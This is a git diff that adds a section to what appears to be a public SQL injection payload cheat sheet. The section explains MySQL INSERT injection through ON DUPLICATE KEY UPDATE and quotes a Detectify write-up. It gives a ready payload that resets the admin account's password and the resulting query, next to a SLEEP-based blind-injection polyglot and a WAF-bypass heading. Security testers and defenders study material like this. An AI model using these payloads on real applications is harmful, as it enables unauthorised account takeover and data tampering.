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SQL injection - Insert Statement From Detectify

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Swissky 2017-02-16 00:29:33 +01:00
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SQL injection/README.md
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@ -187,6 +187,22 @@ SQL Server : IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## Insert Statement - ON DUPLICATE KEY UPDATE
ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:
```
Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");
This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".
After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!
```
## WAF Bypass
No Space (%20) - bypass using whitespace alternatives
@ -299,4 +315,5 @@ mysql> mysql> select version();
- [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet)
- [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)
- [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/)
- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
- [ForkBombers SQLMap Tamper Scripts Update](http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
- [SQLi in INSERT worse than SELECT](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)